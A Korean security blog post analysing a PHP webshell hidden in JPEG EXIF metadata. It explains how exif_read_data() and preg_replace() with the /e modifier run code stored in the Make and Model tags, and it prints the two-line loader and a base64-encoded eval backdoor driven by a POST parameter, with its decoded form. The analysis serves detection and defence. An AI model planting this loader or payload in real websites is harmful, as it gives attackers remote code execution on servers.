KOROMOON

착한 사마리아인이 되고 싶습니다.

3/10/2020

EXIF 메타데이터를 이용한 웹쉘



( 1 ) EXIF 메타데이터를 이용한 웹쉘 원리

EXIF 메타데이터가 추가된 그림 파일에 악의적인 코드를 삽입한 후 exif_read_data() 함수와 preg_replace() 함수를 이용하여 웹쉘 코드를 실행시키는 원리로 탐지가 어려움.

그림 파일의 EXIF 메타데이터 중에 특정 태그에 코드를 삽입을 하여 찾아내기 힘들게 함.
exif_read_data() 함수는 그림 파일에 있는 EXIF 정보를 추출해서 배열로 만듬.
preg_replace() 함수는 배열로 추출한 EXIF 정보 중에 특정 배열값만 이용하여 악의적인 코드를 실행시킴.




( 2 ) exif_read_data() 함수

array exit_read_data ( string $filename [, string $filename [, string $sections = NULL [, bool $arrays = false [, bool $thumbnail = false ]]] )

filename
읽혀질 이미지 파일 이름임. URL 형태로 작성하시면 안되며 로컬 파일만 가능함.

sections
결과 배열(array)를 생성할 파일에 나타낼 필요가 있는 부분들의 콤마로 구분된(comma separated) 목록임.
요청된 섹션(sections)이 없다면 리턴 값은 FALSE 임.
섹션
설명
FILE
파일 이름, 파일 크기, 파일 날짜, 섹션 발견을 표시함.
COMPUTED
html, Width, Height, IsColor 및 다른 취득 가능한 것을 표시함.
Height Width getimagesize() 같은 방법으로 취득한 것으로 그 값은 헤더의 일부가 아님.
HTML 은 통상 안에 HTML 서 사용되는 height/width 의 문자열임.
ANY_TAG
태그의 모든 정보를 표시함. (ex. IFD0, EXIF )
IFD0
IFD0 의 모든 태그 데이터를 표시함.
정상 이미지 파일에서는 이미지 크기 등이 포함됨.
THUMBNAIL
두 번째 IFD가 있는 경우 미리보기를 포함할 예정임.
포함된 썸네일에 대한 모든 태그 정보는 이 섹션에 저장됨.
COMMENT
JPEG 이미지 헤더를 코멘트함.
EXIF
EXIF 섹션은 IFD0 의 하위섹션임.
이 이미지에 대한 자세한 정보가 포함되어 있음.
이러한 항목의 대부분은 디지털 카메라와 관련이 있음.

arrays
각 섹션을 배열할 지를 지정함.
COMPUTED, THUMBNAIL, COMMENT 섹션은 항상 배열임.
이는 이들의 섹션에 포함되는 값의 이름이 다른 섹션과 충돌할 가능성이 있기 때문임.

thumbnail
TRUE 를 지정하면 섬네일 본체를 읽음.
그 이외의 경우에는 태그들 데이터로만 읽음.


JPEG 혹은 TIFF 이미지 파일에서 EXIF 헤더를 읽는 함수임.
이 함수를 이용하여 디지털 카메라에서 생성되는 메타 데이터()를 읽을 수 있음.
PHP 4 >= 4.2.0, PHP 5, PHP 7 버전에서 사용할 수 있음.

배열 인덱스가 헤더 이름이고 배열 값이 연관된 값인 연관 배열로 리턴함.
만약 데이터가 리턴되지 않는다면 exif_read_dat()는 false 를 리턴함.



( 3 ) preg_replace() 함수

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit [, int &$count ]] )

정규 표현식 검색과 치환을 수행하는 함수로 subject 를 검색하여 매치된 pattern 을 replacement 로 치환함.
참고로 patten 인자의 /e 옵션은 preg_replace()가 replacement 인자로 변환을 하고 PHP 코드로 취급하도록 함. 

참고 링크 : 



( 4 ) EXIF 메타데이터를 이용한 웹쉘 분석

< 악의적인 코드가 삽입되어 있는 그림 파일 >

위 그림 파일은 아래 악성코드 샘플에서 확인였으며 Make 태그와 Model 태그에 악의적인 코드가 설정되어 있음.

악성코드 정보

파일명 : -
악성코드 분류 : 웹쉘
악성코드 증상 : -
파일 타입 : JPEG
파일 사이즈 : 15462 bytes
MD5 : 146c7592d89e577869702a00e28a878d
SHA1 : 3c8d7392a257e87799e52c480b1dc4187cbd3def
SHA-256 : 449e585b65fdd40563de2ab8a3fa7233a588729df45f5a0dfcde3c5749652251
VirusTotal 결과값 : 

공격자가 웹서버를 해킹한 후 특정 페이지에 아래와 같은 코드를 삽입함.
그리고 악의적인 코드가 들어있는 그림 파일을 다음과 같은 경로에 있어야 하므로 업로드하거나 기존 그림 파일을 수정해서 설정할 수 있음.
/homepages/clientsitepath/images/stories/food/koromoon.jpg

$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/koromoon.jpg');
preg_replace($exif['Make'],'',$exif['Model']);

위 코드에서 exif_read_data() 함수를 이용하여 그림 파일에 있는 EXIF 메타데이터 태그들을 각각 배열의 데이터로 저장함.
preg_replace() 함수가 exif 배열의 Make 값과 Mode 값을 불러옴.
Make 값에는 /e 문자열이 들어있으며 PHP 코드로 실행시키는 preg_replace() 함수 옵션임.
Model 값에는 공격자가 궁극적으로 실행시키고자 하는 코드가 들어있음.

해당 코드는 다음과 같이 변환해서 실행시킴.
preg_replace($exif['Make'],$exif['Model'],'');


preg_replace ("/.*/e","eval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdH
JpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));",'');


preg_replace ("/.*/e","eval(if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));});" ,'');

참고로 EXIF 메타데이터에서 Make 태그와 Model 태그 정보는 아래와 같음.
Tag
(hex)
Tag
(dec)
IFD
Key
Type
Tag 설명
0x010f
271
Image
Exif.Image.Make
Ascii
기록 장비의 제조업체명 : DSC, 스캐너, 비디오 디지타이저 또는 이미지를 생성한 기타 장비 제조업체명임. 필드를 비워두면 알 수 없는 것으로 처리됨.
0x0110
272
Image
Exif.Image.Model
Ascii
장비의 모델명 또는 모델 번호 : DSC, 스캐너, 비디오 디지타이저 또는 이미지를 생성한 기타 장비의 모델명 또는 번호임. 필드를 비워두면 알 수 없는 것으로 처리됨.



참고 사이트  : 
https://blog.sucuri.net/2015/11/exif-php-joomla-backdoor.html
https://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html
https://securelist.com/blog/research/58196/malware-in-metadata/
https://www.trustwave.com/Resources/SpiderLabs-Blog/Hiding-Webshell-Backdoor-Code-in-Image-Files/
https://www.php.net/manual/en/function.exif-read-data.php
https://www.exiv2.org/tags.html



============================================================
본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.

댓글 없음:

댓글 쓰기